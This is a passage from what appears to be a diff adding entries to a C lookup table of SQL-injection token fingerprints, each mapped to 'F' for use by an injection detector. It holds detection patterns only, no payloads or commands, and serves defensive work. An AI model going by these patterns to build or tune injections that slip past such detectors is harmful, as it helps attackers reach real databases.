{"0N);E(", 'F'}, + {"0N);E1", 'F'}, + {"0N);EF", 'F'}, + {"0N);EK", 'F'}, + {"0N);EN", 'F'}, + {"0N);EO", 'F'}, + {"0N);ES", 'F'}, + {"0N);EV", 'F'}, + {"0N);T(", 'F'}, + {"0N);T1", 'F'}, + {"0N);TF", 'F'}, + {"0N);TK", 'F'}, + {"0N);TN", 'F'}, + {"0N);TO", 'F'}, + {"0N);TS", 'F'}, + {"0N);TV", 'F'}, + {"0N)B(1", 'F'}, + {"0N)B(F", 'F'}, + {"0N)B(N", 'F'}, + {"0N)B(S", 'F'}, + {"0N)B(V", 'F'}, + {"0N)B1", 'F'}, + {"0N)B1&", 'F'}, + {"0N)B1;", 'F'}, + {"0N)B1C", 'F'}, + {"0N)B1K", 'F'}, + {"0N)B1N", 'F'}, + {"0N)B1O", 'F'}, + {"0N)B1U", 'F'}, + {"0N)BF(", 'F'}, + {"0N)BN", 'F'}, + {"0N)BN&", 'F'}, + {"0N)BN;", 'F'}, + {"0N)BNC", 'F'}, + {"0N)BNK", 'F'}, + {"0N)BNO", 'F'}, + {"0N)BNU", 'F'}, + {"0N)BS", 'F'}, + {"0N)BS&", 'F'}, + {"0N)BS;", 'F'}, + {"0N)BSC", 'F'}, + {"0N)BSK", 'F'}, + {"0N)BSO", 'F'}, + {"0N)BSU", 'F'}, + {"0N)BV", 'F'}, + {"0N)BV&", 'F'}, + {"0N)BV;", 'F'}, + {"0N)BVC", 'F'}, + {"0N)BVK", 'F'}, + {"0N)BVO", 'F'}, + {"0N)BVU", 'F'}, + {"0N)E(1", 'F'}, + {"0N)E(F", 'F'}, + {"0N)E(N", 'F'}, + {"0N)E(S", 'F'}, + {"0N)E(V", 'F'}, + {"0N)E1C", 'F'}, + {"0N)E1O", 'F'}, + {"0N)EF(", 'F'}, + {"0N)EK(", 'F'}, + {"0N)EK1", 'F'}, + {"0N)EKF", 'F'}, + {"0N)EKN", 'F'}, + {"0N)EKS", 'F'}, + {"0N)EKV", 'F'}, + {"0N)ENC", 'F'}, + {"0N)ENO", 'F'}, + {"0N)ESC", 'F'}, + {"0N)ESO", 'F'}, + {"0N)EVC", 'F'}, + {"0N)EVO", 'F'}, + {"0N)F(F", 'F'}, + {"0N)K(1", 'F'}, + {"0N)K(F", 'F'}, + {"0N)K(N", 'F'}, + {"0N)K(S", 'F'}, + {"0N)K(V", 'F'}, + {"0N)K1&", 'F'}, + {"0N)K1;", 'F'}, + {"0N)K1B", 'F'}, + {"0N)K1E", 'F'}, + {"0N)K1O", 'F'}, + {"0N)K1U", 'F'}, + {"0N)KB(", 'F'}, + {"0N)KB1", 'F'}, + {"0N)KBF", 'F'}, + {"0N)KBN", 'F'}, + {"0N)KBS", 'F'}, + {"0N)KBV", 'F'}, + {"0N)KF(", 'F'}, + {"0N)KN&", 'F'}, + {"0N)KN;", 'F'}, + {"0N)KNB", 'F'}, + {"0N)KNC", 'F'}, + {"0N)KNE", 'F'}, + {"0N)KNK", 'F'}, + {"0N)KNU", 'F'}, + {"0N)KS&", 'F'}, + {"0N)KS;", 'F'}, + {"0N)KSB", 'F'}, + {"0N)KSE", 'F'}, + {"0N)KSO", 'F'}, + {"0N)KSU", 'F'}, + {"0N)KUE", 'F'}, + {"0N)KV&", 'F'}, + {"0N)KV;", 'F'}, + {"0N)KVB", 'F'}, + {"0N)KVE", 'F'}, + {"0N)KVO", 'F'}, + {"0N)KVU", 'F'}, + {"0N)O(1", 'F'}, + {"0N)O(E", 'F'}, + {"0N)O(F", 'F'}, + {"0N)O(N", 'F'}, + {"0N)O(S", 'F'}, + {"0N)O(V", 'F'}, + {"0N)O1&", 'F'}, + {"0N)O1)", 'F'}, + {"0N)O1;", 'F'}, + {"0N)O1B", 'F'}, + {"0N)O1C", 'F'}, + {"0N)O1K", 'F'}, + {"0N)O1U", 'F'}, + {"0N)OF(", 'F'}, + {"0N)ON&", 'F'}, + {"0N)ON)", 'F'}, + {"0N)ON;", 'F'}, + {"0N)ONB", 'F'}, + {"0N)ONC", 'F'}, + {"0N)ONK", 'F'}, + {"0N)ONU", 'F'}, + {"0N)OS", 'F'}, + {"0N)OS&", 'F'}, + {"0N)OS)", 'F'}, + {"0N)OS;", 'F'}, + {"0N)OSB", 'F'}, + {"0N)OSC", 'F'}, + {"0N)OSK", 'F'}, + {"0N)OSU", 'F'}, + {"0N)OV", 'F'}, + {"0N)OV&", 'F'}, + {"0N)OV)", 'F'}, + {"0N)OV;", 'F'}, + {"0N)OVB", 'F'}, + {"0N)OVC", 'F'}, + {"0N)OVK", 'F'}, + {"0N)OVO", 'F'}, + {"0N)OVU", 'F'}, + {"0N)U(E", 'F'}, + {"0N)UE(", 'F'}, + {"0N)UE1", 'F'}, + {"0N)UEF", 'F'}, + {"0N)UEK", 'F'}, + {"0N)UEN", 'F'}, + {"0N)UES", 'F'}, + {"0N)UEV", 'F'}, + {"0N,(1)", 'F'}, + {"0N,(1O", 'F'}, + {"0N,(E(", 'F'}, + {"0N,(E1", 'F'}, + {"0N,(EF", 'F'}, + {"0N,(EK", 'F'}, + {"0N,(EN", 'F'}, + {"0N,(ES", 'F'}, + {"0N,(EV", 'F'}, + {"0N,(F(", 'F'}, + {"0N,(NO", 'F'}, + {"0N,(S)", 'F'}, + {"0N,(SO", 'F'}, + {"0N,(V)", 'F'}, + {"0N,(VO", 'F'}, + {"0N,F()", 'F'}, + {"0N,F(1", 'F'}, + {"0N,F(F", 'F'}, + {"0N,F(N", 'F'}, + {"0N,F(S", 'F'}, + {"0N,F(V", 'F'}, + {"0N1O(1", 'F'}, + {"0N1O(F", 'F'}, + {"0N1O(N", 'F'}, + {"0N1O(S", 'F'}, + {"0N1O(V", 'F'}, + {"0N1OF(", 'F'}, + {"0N1OS(", 'F'}, + {"0N1OS1", 'F'}, + {"0N1OSF", 'F'}, + {"0N1OSU", 'F'}, + {"0N1OSV", 'F'}, + {"0N1OV(", 'F'}, + {"0N1OVF", 'F'}, + {"0N1OVO", 'F'}, + {"0N1OVS", 'F'}, + {"0N1OVU", 'F'}, + {"0N1S;", 'F'}, + {"0N1S;C", 'F'}, + {"0N1SC", 'F'}, + {"0N1UE", 'F'}, + {"0N1UE;", 'F'}, + {"0N1UEC", 'F'}, + {"0N1UEK", 'F'}, + {"0N1V;", 'F'}, + {"0N1V;C", 'F'}, + {"0N1VC", 'F'}, + {"0N1VO(", 'F'}, + {"0N1VOF", 'F'}, + {"0N1VOS", 'F'}, + {"0N;E(1", 'F'}, + {"0N;E(E", 'F'}, + {"0N;E(F", 'F'}, + {"0N;E(N", 'F'}, + {"0N;E(S", 'F'}, + {"0N;E(V", 'F'}, + {"0N;E1,", 'F'}, + {"0N;E1;", 'F'}, + {"0N;E1C", 'F'}, + {"0N;E1K", 'F'}, + {"0N;E1O", 'F'}, + {"0N;E1T", 'F'}, + {"0N;EF(", 'F'}, + {"0N;EK(", 'F'}, + {"0N;EK1", 'F'}, + {"0N;EKF", 'F'}, + {"0N;EKN", 'F'}, + {"0N;EKO", 'F'}, + {"0N;EKS", 'F'}, + {"0N;EKV", 'F'}, + {"0N;EN,", 'F'}, + {"0N;EN;", 'F'}, + {"0N;ENC", 'F'}, + {"0N;ENE", 'F'}, + {"0N;ENK", 'F'}, + {"0N;ENO", 'F'}, + {"0N;ENT", 'F'}, + {"0N;ES,", 'F'}, + {"0N;ES;", 'F'}, + {"0N;ESC", 'F'}, + {"0N;ESK", 'F'}, + {"0N;ESO", 'F'}, + {"0N;EST", 'F'}, + {"0N;EV,", 'F'}, + {"0N;EV;", 'F'}, + {"0N;EVC", 'F'}, + {"0N;EVK", 'F'}, + {"0N;EVO", 'F'}, + {"0N;EVT", 'F'}, + {"0N;N:T", 'F'}, + {"0N;T(1", 'F'}, + {"0N;T(C", 'F'}, + {"0N;T(E", 'F'}, + {"0N;T(F", 'F'}, + {"0N;T(N", 'F'}, + {"0N;T(S", 'F'}, + {"0N;T(V", 'F'}, + {"0N;T1(", 'F'}, + {"0N;T1,", 'F'}, + {"0N;T1;", 'F'}, + {"0N;T1C", 'F'}, + {"0N;T1F", 'F'}, + {"0N;T1K", 'F'}, + {"0N;T1O", 'F'}, + {"0N;T1T", 'F'}, + {"0N;T;", 'F'}, + {"0N;T;C", 'F'}, + {"0N;TF(", 'F'}, + {"0N;TK(", 'F'}, + {"0N;TK1", 'F'}, + {"0N;TKF", 'F'}, + {"0N;TKK", 'F'}, + {"0N;TKO", 'F'}, + {"0N;TKS", 'F'}, + {"0N;TKV", 'F'}, + {"0N;TN(", 'F'}, + {"0N;TN,", 'F'}, + {"0N;TN1", 'F'}, + {"0N;TN;", 'F'}, + {"0N;TNC", 'F'}, + {"0N;TNE", 'F'}, + {"0N;TNF", 'F'}, + {"0N;TNK", 'F'}, + {"0N;TNN", 'F'}, + {"0N;TNO", 'F'}, + {"0N;TNS", 'F'}, + {"0N;TNT", 'F'}, + {"0N;TNV", 'F'}, + {"0N;TO(", 'F'}, + {"0N;TS(", 'F'}, + {"0N;TS,", 'F'}, + {"0N;TS;", 'F'}, + {"0N;TSC", 'F'}, + {"0N;TSF", 'F'}, + {"0N;TSK", 'F'}, + {"0N;TSO", 'F'}, + {"0N;TST", 'F'}, + {"0N;TTN", 'F'}, + {"0N;TV(", 'F'}, + {"0N;TV,", 'F'}, + {"0N;TV;", 'F'}, + {"0N;TVC", 'F'}, + {"0N;TVF", 'F'}, + {"0N;TVK", 'F'}, + {"0N;TVO", 'F'}, + {"0N;TVT", 'F'}, + {"0NA(F(", 'F'}, + {"0NA(N)", 'F'}, + {"0NA(NO", 'F'}, + {"0NA(S)", 'F'}, + {"0NA(SO", 'F'}, + {"0NA(V)", 'F'}, + {"0NA(VO", 'F'}, + {"0NAF()", 'F'}, + {"0NAF(1", 'F'}, + {"0NAF(F", 'F'}, + {"0NAF(N", 'F'}, + {"0NAF(S", 'F'}, + {"0NAF(V", 'F'}, + {"0NASO(", 'F'}, + {"0NASO1", 'F'}, + {"0NASOF", 'F'}, + {"0NASON", 'F'}, + {"0NASOS", 'F'}, + {"0NASOV", 'F'}, + {"0NASUE", 'F'}, + {"0NATO(", 'F'}, + {"0NATO1", 'F'}, + {"0NATOF", 'F'}, + {"0NATON", 'F'}, + {"0NATOS", 'F'}, + {"0NATOV", 'F'}, + {"0NATUE", 'F'}, + {"0NAVO(", 'F'}, + {"0NAVOF", 'F'}, + {"0NAVOS", 'F'}, + {"0NAVUE", 'F'}, + {"0NB(1&", 'F'}, + {"0NB(1)", 'F'}, + {"0NB(1O", 'F'}, + {"0NB(F(", 'F'}, + {"0NB(N&", 'F'}, + {"0NB(NO", 'F'}, + {"0NB(S&", 'F'}, + {"0NB(S)", 'F'}, + {"0NB(SO", 'F'}, + {"0NB(V&", 'F'}, + {"0NB(V)", 'F'}, + {"0NB(VO", 'F'}, + {"0NB1", 'F'}, + {"0NB1&(", 'F'}, + {"0NB1&1", 'F'}, + {"0NB1&F", 'F'}, + {"0NB1&N", 'F'}, + {"0NB1&S", 'F'}, + {"0NB1&V", 'F'}, + {"0NB1,(", 'F'}, + {"0NB1,F", 'F'}, + {"0NB1;", 'F'}, + {"0NB1;C", 'F'}, + {"0NB1B(", 'F'}, + {"0NB1B1", 'F'}, + {"0NB1BF", 'F'}, + {"0NB1BN", 'F'}, + {"0NB1BS", 'F'}, + {"0NB1BV", 'F'}, + {"0NB1C", 'F'}, + {"0NB1K(", 'F'}, + {"0NB1K1", 'F'}, + {"0NB1KF", 'F'}, + {"0NB1KN", 'F'}, + {"0NB1KS", 'F'}, + {"0NB1KV", 'F'}, + {"0NB1O(", 'F'}, + {"0NB1OF", 'F'}, + {"0NB1OS", 'F'}, + {"0NB1OV", 'F'}, + {"0NB1U(", 'F'}, + {"0NB1UE", 'F'}, + {"0NBE(1", 'F'}, + {"0NBE(F", 'F'}, + {"0NBE(N", 'F'}, + {"0NBE(S", 'F'}, + {"0NBE(V", 'F'}, + {"0NBEK(", 'F'}, + {"0NBF()", 'F'}, + {"0NBF(1", 'F'}, + {"0NBF(F", 'F'}, + {"0NBF(N", 'F'}, + {"0NBF(S", 'F'}, + {"0NBF(V", 'F'}, + {"0NBN&(", 'F'}, + {"0NBN&1", 'F'}, + {"0NBN&F", 'F'}, + {"0NBN&N", 'F'}, + {"0NBN&S", 'F'}, + {"0NBN&V", 'F'}, + {"0NBN,(", 'F'}, + {"0NBN,F", 'F'}, + {"0NBN;", 'F'}, + {"0NBN;C", 'F'}, + {"0NBNB(", 'F'}, + {"0NBNB1", 'F'}, + {"0NBNBF", 'F'}, + {"0NBNBN", 'F'}, + {"0NBNBS", 'F'}, + {"0NBNBV", 'F'}, + {"0NBNC", 'F'}, + {"0NBNK(", 'F'}, + {"0NBNK1", 'F'}, + {"0NBNKF", 'F'}, + {"0NBNKN", 'F'}, + {"0NBNKS", 'F'}, + {"0NBNKV", 'F'}, + {"0NBNO(", 'F'}, + {"0NBNOF", 'F'}, + {"0NBNOS", 'F'}, + {"0NBNOV", 'F'}, + {"0NBNU(", 'F'}, + {"0NBNUE", 'F'}, + {"0NBS", 'F'}, + {"0NBS&(", 'F'}, + {"0NBS&1", 'F'}, + {"0NBS&F", 'F'}, + {"0NBS&N", 'F'}, + {"0NBS&S", 'F'}, + {"0NBS&V", 'F'}, + {"0NBS,(", 'F'}, + {"0NBS,F", 'F'}, + {"0NBS;", 'F'}, + {"0NBS;C", 'F'}, + {"0NBSB(", 'F'}, + {"0NBSB1", 'F'}, + {"0NBSBF", 'F'}, + {"0NBSBN", 'F'}, + {"0NBSBS", 'F'}, + {"0NBSBV", 'F'}, + {"0NBSC", 'F'}, + {"0NBSK(", 'F'}, + {"0NBSK1", 'F'}, + {"0NBSKF", 'F'}, + {"0NBSKN", 'F'}, + {"0NBSKS", 'F'}, + {"0NBSKV", 'F'}, + {"0NBSO(", 'F'}, + {"0NBSO1", 'F'}, + {"0NBSOF", 'F'}, + {"0NBSON", 'F'}, + {"0NBSOS", 'F'}, + {"0NBSOV", 'F'}, + {"0NBSU(", 'F'}, + {"0NBSUE", 'F'}, + {"0NBV", 'F'}, + {"0NBV&(", 'F'}, + {"0NBV&1", 'F'}, + {"0NBV&F", 'F'}, + {"0NBV&N", 'F'}, + {"0NBV&S", 'F'}, + {"0NBV&V", 'F'}, + {"0NBV,(", 'F'}, + {"0NBV,F", 'F'}, + {"0NBV;", 'F'}, + {"0NBV;C", 'F'}, + {"0NBVB(", 'F'}, + {"0NBVB1", 'F'}, + {"0NBVBF", 'F'}, + {"0NBVBN", 'F'}, + {"0NBVBS", 'F'}, + {"0NBVBV", 'F'}, + {"0NBVC", 'F'}, + {"0NBVK(", 'F'}, + {"0NBVK1", 'F'}, + {"0NBVKF", 'F'}, + {"0NBVKN", 'F'}, + {"0NBVKS", 'F'}, + {"0NBVKV", 'F'}, + {"0NBVO(", 'F'}, + {"0NBVOF", 'F'}, + {"0NBVOS", 'F'}, + {"0NBVU(", 'F'}, + {"0NBVUE", 'F'}, + {"0NC", 'F'}, + {"0NE(1)", 'F'}, + {"0NE(1O", 'F'}, + {"0NE(F(", 'F'}, + {"0NE(N)", 'F'}, + {"0NE(NO", 'F'}, + {"0NE(S)", 'F'}, + {"0NE(SO", 'F'}, + {"0NE(V)", 'F'}, + {"0NE(VO", 'F'}, + {"0NE1;T", 'F'}, + {"0NE1C", 'F'}, + {"0NE1O(", 'F'}, + {"0NE1OF", 'F'}, + {"0NE1OS", 'F'}, + {"0NE1OV", 'F'}, + {"0NE1T(", 'F'}, + {"0NE1T1", 'F'}, + {"0NE1TF", 'F'}, + {"0NE1TN", 'F'}, + {"0NE1TS", 'F'}, + {"0NE1TV", 'F'}, + {"0NE1UE", 'F'}, + {"0NEF()", 'F'}, + {"0NEF(1", 'F'}, + {"0NEF(F", 'F'}, + {"0NEF(N", 'F'}, + {"0NEF(S", 'F'}, + {"0NEF(V", 'F'}, + {"0NEN;T", 'F'}, + {"0NENO(", 'F'}, + {"0NENOF", 'F'}, + {"0NENOS", 'F'}, + {"0NENOV", 'F'}, + {"0NENT(", 'F'}, + {"0NENT1", 'F'}, + {"0NENTF", 'F'}, + {"0NENTN", 'F'}, + {"0NENTS", 'F'}, + {"0NENTV", 'F'}, + {"0NENUE", 'F'}, + {"0NEOKN", 'F'}, + {"0NES;T", 'F'}, + {"0NESC", 'F'}, + {"0NESO(", 'F'}, + {"0NESO1", 'F'}, + {"0NESOF", 'F'}, + {"0NESON", 'F'}, + {"0NESOS", 'F'}, + {"0NESOV", 'F'}, + {"0NEST(", 'F'}, + {"0NEST1", 'F'}, + {"0NESTF", 'F'}, + {"0NESTN", 'F'}, + {"0NESTS", 'F'}, + {"0NESTV", 'F'}, + {"0NESUE", 'F'}, + {"0NEU(1", 'F'}, + {"0NEU(F", 'F'}, + {"0NEU(N", 'F'}, + {"0NEU(S", 'F'}, + {"0NEU(V", 'F'}, + {"0NEU1,", 'F'}, + {"0NEU1C", 'F'}, + {"0NEU1O", 'F'}, + {"0NEUEF", 'F'}, + {"0NEUEK", 'F'}, + {"0NEUF(", 'F'}, + {"0NEUS,", 'F'}, + {"0NEUSC", 'F'}, + {"0NEUSO", 'F'}, + {"0NEUV,", 'F'}, + {"0NEUVC", 'F'}, + {"0NEUVO", 'F'}, + {"0NEV;T", 'F'}, + {"0NEVC", 'F'}, + {"0NEVO(", 'F'}, + {"0NEVOF", 'F'}, + {"0NEVOS", 'F'}, + {"0NEVT(", 'F'}, + {"0NEVT1", 'F'}, + {"0NEVTF", 'F'}, + {"0NEVTN", 'F'}, + {"0NEVTS", 'F'}, + {"0NEVTV", 'F'}, + {"0NEVUE", 'F'}, + {"0NF()1", 'F'}, + {"0NF()F", 'F'}, + {"0NF()K", 'F'}, + {"0NF()N", 'F'}, + {"0NF()O", 'F'}, + {"0NF()S", 'F'}, + {"0NF()U", 'F'}, + {"0NF()V", 'F'}, + {"0NF(1)", 'F'}, + {"0NF(1O", 'F'}, + {"0NF(E(", 'F'}, + {"0NF(E1", 'F'}, + {"0NF(EF", 'F'}, + {"0NF(EK", 'F'}, + {"0NF(EN", 'F'}, + {"0NF(ES", 'F'}, + {"0NF(EV", 'F'}, + {"0NF(F(", 'F'}, + {"0NF(N,", 'F'}, + {"0NF(NO", 'F'}, + {"0NF(S)", 'F'}, + {"0NF(SO", 'F'}, + {"0NF(V)", 'F'}, + {"0NF(VO", 'F'}, + {"0NK(1)", 'F'}, + {"0NK(1O", 'F'}, + {"0NK(F(", 'F'}, + {"0NK(NO", 'F'}, + {"0NK(S)", 'F'}, + {"0NK(SO", 'F'}, + {"0NK(V)", 'F'}, + {"0NK(VO", 'F'}, + {"0NK)&(", 'F'}, + {"0NK)&1", 'F'}, + {"0NK)&F", 'F'}, + {"0NK)&N", 'F'}, + {"0NK)&S", 'F'}, + {"0NK)&V", 'F'}, + {"0NK);E", 'F'}, + {"0NK);T", 'F'}, + {"0NK)B(", 'F'}, + {"0NK)B1", 'F'}, + {"0NK)BF", 'F'}, + {"0NK)BN", 'F'}, + {"0NK)BS", 'F'}, + {"0NK)BV", 'F'}, + {"0NK)E(", 'F'}, + {"0NK)E1", 'F'}, + {"0NK)EF", 'F'}, + {"0NK)EK", 'F'}, + {"0NK)EN", 'F'}, + {"0NK)ES", 'F'}, + {"0NK)EV", 'F'}, + {"0NK)F(", 'F'}, + {"0NK)O(", 'F'}, + {"0NK)OF", 'F'}, + {"0NK)UE", 'F'}, + {"0NK1", 'F'}, + {"0NK1&(", 'F'}, + {"0NK1&1", 'F'}, + {"0NK1&F", 'F'}, + {"0NK1&N", 'F'}, + {"0NK1&S", 'F'}, + {"0NK1&V", 'F'}, + {"0NK1;C", 'F'}, + {"0NK1;E", 'F'}, + {"0NK1;T", 'F'}, + {"0NK1B(", 'F'}, + {"0NK1B1", 'F'}, + {"0NK1BF", 'F'}, + {"0NK1BN", 'F'}, + {"0NK1BS", 'F'}, + {"0NK1BV", 'F'}, + {"0NK1C", 'F'}, + {"0NK1E(", 'F'}, + {"0NK1E1", 'F'}, + {"0NK1EF", 'F'}, + {"0NK1EK", 'F'}, + {"0NK1EN", 'F'}, + {"0NK1ES", 'F'}, + {"0NK1EV", 'F'}, + {"0NK1O(", 'F'}, + {"0NK1OF", 'F'}, + {"0NK1OS", 'F'}, + {"0NK1OV", 'F'}, + {"0NK1U(", 'F'}, + {"0NK1UE", 'F'}, + {"0NKF()", 'F'}, + {"0NKF(1", 'F'}, + {"0NKF(F", 'F'}, + {"0NKF(N", 'F'}, + {"0NKF(S", 'F'}, + {"0NKF(V", 'F'}, + {"0NKN", 'F'}, + {"0NKN&(", 'F'}, + {"0NKN&1", 'F'}, + {"0NKN&F", 'F'}, + {"0NKN&S", 'F'}, + {"0NKN&V", 'F'}, + {"0NKN;C", 'F'}, + {"0NKN;E", 'F'}, + {"0NKN;T", 'F'}, + {"0NKNB(", 'F'}, + {"0NKNB1", 'F'}, + {"0NKNBF", 'F'}, + {"0NKNBN", 'F'}, + {"0NKNBS", 'F'}, + {"0NKNBV", 'F'}, + {"0NKNE(", 'F'}, + {"0NKNE1", 'F'}, + {"0NKNEF", 'F'}, + {"0NKNES", 'F'}, + {"0NKNEV", 'F'}, + {"0NKNU(", 'F'}, + {"0NKNUE", 'F'}, + {"0NKS", 'F'}, + {"0NKS&(", 'F'}, + {"0NKS&1", 'F'}, + {"0NKS&F", 'F'}, + {"0NKS&N", 'F'}, + {"0NKS&S", 'F'}, + {"0NKS&V", 'F'}, + {"0NKS;", 'F'}, + {"0NKS;C", 'F'}, + {"0NKS;E", 'F'}, + {"0NKS;T", 'F'}, + {"0NKSB(", 'F'}, + {"0NKSB1", 'F'}, + {"0NKSBF", 'F'}, + {"0NKSBN", 'F'}, + {"0NKSBS", 'F'}, + {"0NKSBV", 'F'}, + {"0NKSC", 'F'}, + {"0NKSE(", 'F'}, + {"0NKSE1", 'F'}, + {"0NKSEF", 'F'}, + {"0NKSEK", 'F'}, + {"0NKSEN", 'F'}, + {"0NKSES", 'F'}, + {"0NKSEV", 'F'}, + {"0NKSO(", 'F'}, + {"0NKSO1", 'F'}, + {"0NKSOF", 'F'}, + {"0NKSON", 'F'}, + {"0NKSOS", 'F'}, + {"0NKSOV", 'F'}, + {"0NKSU(", 'F'}, + {"0NKSUE", 'F'}, + {"0NKUE(", 'F'}, + {"0NKUE1", 'F'}, + {"0NKUEF", 'F'}, + {"0NKUEK", 'F'}, + {"0NKUEN", 'F'}, + {"0NKUES", 'F'}, + {"0NKUEV", 'F'}, + {"0NKV", 'F'}, + {"0NKV&(", 'F'}, + {"0NKV&1", 'F'}, + {"0NKV&F", 'F'}, + {"0NKV&N", 'F'}, + {"0NKV&S", 'F'}, + {"0NKV&V", 'F'}, + {"0NKV;", 'F'}, + {"0NKV;C", 'F'}, + {"0NKV;E", 'F'}, + {"0NKV;T", 'F'}, + {"0NKVB(", 'F'}, + {"0NKVB1", 'F'}, + {"0NKVBF", 'F'}, + {"0NKVBN", 'F'}, + {"0NKVBS", 'F'}, + {"0NKVBV", 'F'}, + {"0NKVC", 'F'}, + {"0NKVE(", 'F'}, + {"0NKVE1", 'F'}, + {"0NKVEF", 'F'}, + {"0NKVEK", 'F'}, + {"0NKVEN", 'F'}, + {"0NKVES", 'F'}, + {"0NKVEV", 'F'}, + {"0NKVO(", 'F'}, + {"0NKVOF", 'F'}, + {"0NKVOS", 'F'}, + {"0NKVU(", 'F'}, + {"0NKVUE", 'F'}, + {"0NO(1&", 'F'}, + {"0NO(1)", 'F'}, + {"0NO(1,", 'F'}, + {"0NO(1O", 'F'}, + {"0NO(E(", 'F'}, + {"0NO(E1", 'F'}, + {"0NO(EE", 'F'}, + {"0NO(EF", 'F'}, + {"0NO(EK", 'F'}, + {"0NO(EN", 'F'}, + {"0NO(EO", 'F'}, + {"0NO(ES", 'F'}, + {"0NO(EV", 'F'}, + {"0NO(F(", 'F'}, + {"0NO(N&", 'F'}, + {"0NO(N)", 'F'}, + {"0NO(N,", 'F'}, + {"0NO(NO", 'F'}, + {"0NO(S&", 'F'}, + {"0NO(S)", 'F'}, + {"0NO(S,", 'F'}, + {"0NO(SO", 'F'}, + {"0NO(V&", 'F'}, + {"0NO(V)", 'F'}, + {"0NO(V,", 'F'}, + {"0NO(VO", 'F'}, + {"0NOF()", 'F'}, + {"0NOF(1", 'F'}, + {"0NOF(E", 'F'}, + {"0NOF(F", 'F'}, + {"0NOF(N", 'F'}, + {"0NOF(S", 'F'}, + {"0NOF(V", 'F'}, + {"0NOK&(", 'F'}, + {"0NOK(1", 'F'}, + {"0NOK(F", 'F'}, + {"0NOK(N", 'F'}, + {"0NOK(S", 'F'}, + {"0NOK(V", 'F'}, + {"0NOK1C", 'F'}, + {"0NOK1O", 'F'}, + {"0NOKF(", 'F'}, + {"0NOKNC", 'F'}, + {"0NOKO(", 'F'}, + {"0NOKO1", 'F'}, + {"0NOKOF", 'F'}, + {"0NOKON", 'F'}, + {"0NOKOS", 'F'}, + {"0NOKOV", 'F'}, + {"0NOKSC", 'F'}, + {"0NOKSO", 'F'}, + {"0NOKVC", 'F'}, + {"0NOKVO", 'F'}, + {"0NONSU", 'F'}, + {"0NOS&(", 'F'}, + {"0NOS&1", 'F'}, + {"0NOS&E", 'F'}, + {"0NOS&F", 'F'}, + {"0NOS&K", 'F'}, + {"0NOS&N", 'F'}, + {"0NOS&S", 'F'}, + {"0NOS&U", 'F'}, + {"0NOS&V", 'F'}, + {"0NOS(E", 'F'}, + {"0NOS(U", 'F'}, + {"0NOS)&", 'F'}, + {"0NOS),", 'F'}, + {"0NOS);", 'F'}, + {"0NOS)B", 'F'}, + {"0NOS)C", 'F'}, + {"0NOS)E", 'F'}, + {"0NOS)F", 'F'}, + {"0NOS)K", 'F'}, + {"0NOS)O", 'F'}, + {"0NOS)U", 'F'}, + {"0NOS,(", 'F'}, + {"0NOS,F", 'F'}, + {"0NOS1(", 'F'}, + {"0NOS1F", 'F'}, + {"0NOS1N", 'F'}, + {"0NOS1S", 'F'}, + {"0NOS1U", 'F'}, + {"0NOS1V", 'F'}, + {"0NOS;", 'F'}, + {"0NOS;C", 'F'}, + {"0NOS;E", 'F'}, + {"0NOS;T", 'F'}, + {"0NOSA(", 'F'}, + {"0NOSAF", 'F'}, + {"0NOSAS", 'F'}, + {"0NOSAT", 'F'}, + {"0NOSAV", 'F'}, + {"0NOSB(", 'F'}, + {"0NOSB1", 'F'}, + {"0NOSBE", 'F'}, + {"0NOSBF", 'F'}, + {"0NOSBN", 'F'}, + {"0NOSBS", 'F'}, + {"0NOSBV", 'F'}, + {"0NOSC", 'F'}, + {"0NOSE(", 'F'}, + {"0NOSE1", 'F'}, + {"0NOSEF", 'F'}, + {"0NOSEK", 'F'}, + {"0NOSEN", 'F'}, + {"0NOSEO", 'F'}, + {"0NOSES", 'F'}, + {"0NOSEU", 'F'}, + {"0NOSEV", 'F'}, + {"0NOSF(", 'F'}, + {"0NOSK(", 'F'}, + {"0NOSK)", 'F'}, + {"0NOSK1", 'F'}, + {"0NOSKB", 'F'}, + {"0NOSKF", 'F'}, + {"0NOSKN", 'F'}, + {"0NOSKS", 'F'}, + {"0NOSKU", 'F'}, + {"0NOSKV", 'F'}, + {"0NOST(", 'F'}, + {"0NOST1", 'F'}, + {"0NOSTE", 'F'}, + {"0NOSTF", 'F'}, + {"0NOSTN", 'F'}, + {"0NOSTS", 'F'}, + {"0NOSTT", 'F'}, + {"0NOSTV", 'F'}, + {"0NOSU", 'F'}, + {"0NOSU(", 'F'}, + {"0NOSU1", 'F'}, + {"0NOSU;", 'F'}, + {"0NOSUC", 'F'}, + {"0NOSUE", 'F'}, + {"0NOSUF", 'F'}, + {"0NOSUK", 'F'}, + {"0NOSUO", 'F'}, + {"0NOSUS", 'F'}, + {"0NOSUT", 'F'}, + {"0NOSUV", 'F'}, + {"0NOSV(", 'F'}, + {"0NOSVF", 'F'}, + {"0NOSVO", 'F'}, + {"0NOSVS", 'F'}, + {"0NOSVU", 'F'}, + {"0NOU(E", 'F'}, + {"0NOUEK", 'F'}, + {"0NOUEN", 'F'}, + {"0NOV&(", 'F'}, + {"0NOV&1", 'F'}, + {"0NOV&E", 'F'}, + {"0NOV&F", 'F'}, + {"0NOV&K", 'F'}, + {"0NOV&N", 'F'}, + {"0NOV&S", 'F'}, + {"0NOV&U", 'F'}, + {"0NOV&V", 'F'}, + {"0NOV(E", 'F'}, + {"0NOV(U", 'F'}, + {"0NOV)&", 'F'}, + {"0NOV),", 'F'}, + {"0NOV);", 'F'}, + {"0NOV)B", 'F'}, + {"0NOV)C", 'F'}, + {"0NOV)E", 'F'}, + {"0NOV)F", 'F'}, + {"0NOV)K", 'F'}, + {"0NOV)O", 'F'}, + {"0NOV)U", 'F'}, + {"0NOV,(", 'F'}, + {"0NOV,F", 'F'}, + {"0NOV;", 'F'}, + {"0NOV;C", 'F'}, + {"0NOV;E", 'F'}, + {"0NOV;N", 'F'}, + {"0NOV;T", 'F'}, + {"0NOVA(", 'F'}, + {"0NOVAF", 'F'}, + {"0NOVAS", 'F'}, + {"0NOVAT", 'F'}, + {"0NOVAV", 'F'}, + {"0NOVB(", 'F'}, + {"0NOVB1", 'F'}, + {"0NOVBE", 'F'}, + {"0NOVBF", 'F'}, + {"0NOVBN", 'F'}, + {"0NOVBS", 'F'}, + {"0NOVBV", 'F'}, + {"0NOVC", 'F'}, + {"0NOVE(", 'F'}, + {"0NOVE1", 'F'}, + {"0NOVEF", 'F'}, + {"0NOVEK", 'F'}, + {"0NOVEN", 'F'}, + {"0NOVEO", 'F'}, + {"0NOVES", 'F'}, + {"0NOVEU", 'F'}, + {"0NOVEV", 'F'}, + {"0NOVF(", 'F'}, + 